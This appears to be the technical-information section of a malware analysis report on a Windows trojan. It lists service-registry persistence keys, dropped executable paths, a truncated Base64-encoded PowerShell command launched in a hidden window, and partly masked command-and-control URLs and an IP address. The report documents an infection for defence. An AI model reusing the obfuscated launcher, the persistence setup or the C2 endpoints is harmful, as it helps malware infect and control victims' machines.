Technical Information
- [<HKLM>\System\CurrentControlSet\Services\rekeywiz] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\rekeywiz] 'ImagePath' = '"%WINDIR%\SysWOW64\print\rekeywiz.exe"'
- 'rekeywiz' "%WINDIR%\SysWOW64\print\rekeywiz.exe"
- 'rekeywiz' %WINDIR%\SysWOW64\print\rekeywiz.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABIAHEAZgA5ADUAcAB3AD0AKAAoACcAWgAwACcAKwAnADEAJwApACsAKAAnAGQANAA0ACcAKwAnADAAJwApACkAOwAuACgAJwBuAGUAdwAtACcAKwAnAGkAdABlAG0AJwApACAAJABFAE4AdgA6AFUAUwBlAFIAUAByAG8AZgBpAGwAZQBcAGMAMgBsAE...
- %HOMEPATH%\c2lbljj\h6l39r1\z1xbo_.exe
- %WINDIR%\syswow64\print\rekeywiz.exe
- from %HOMEPATH%\c2lbljj\h6l39r1\z1xbo_.exe to %WINDIR%\syswow64\print\rekeywiz.exe
- '11#.#76.16.221':80
- http://yo###caxcan.com/cgi-bin/T7nT/
- http://11#.#76.16.221/278IrJj0Y5X/7JbGT/7g9ACkZkgThUxkoW/dkbGcqKxG3m/
- DNS ASK yo###caxcan.com
- '%HOMEPATH%\c2lbljj\h6l39r1\z1xbo_.exe'
- '%WINDIR%\syswow64\print\rekeywiz.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABIAHEAZgA5ADUAcAB3AD0AKAAoACcAWgAwACcAKwAnADEAJwApACsAKAAnAGQANAA0ACcAKwAnADAAJwApACkAOwAuACgAJwBuAGUAdwAtACcAKwAnAGkAdABlAG0AJwApACAAJABFAE4AdgA6AFUAUwBlAFIAUAByAG8AZgBpAGwAZQBcAGMAMgBsAE...' (with hidden window)